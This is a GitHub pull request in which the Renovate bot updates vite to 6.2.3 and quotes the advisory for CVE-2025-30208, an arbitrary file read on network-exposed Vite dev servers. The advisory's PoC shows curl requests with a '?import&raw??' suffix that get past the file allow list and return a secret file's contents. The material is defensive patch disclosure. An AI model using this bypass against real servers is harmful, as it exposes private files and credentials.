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@renovate renovate bot commented Mar 25, 2025

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vite (source) 6.2.1 -> 6.2.3 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2025-30208

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

Release Notes

vitejs/vite (vite)

v6.2.3

Compare Source

Please refer to CHANGELOG.md for details.

v6.2.2

Compare Source


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@renovate renovate bot added the dependencies Pull requests that update a dependency file label Mar 25, 2025
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@haoqunjiang haoqunjiang merged commit cdf1637 into main Mar 25, 2025
6 checks passed
@haoqunjiang haoqunjiang deleted the renovate/npm-vite-vulnerability branch March 25, 2025 17:57
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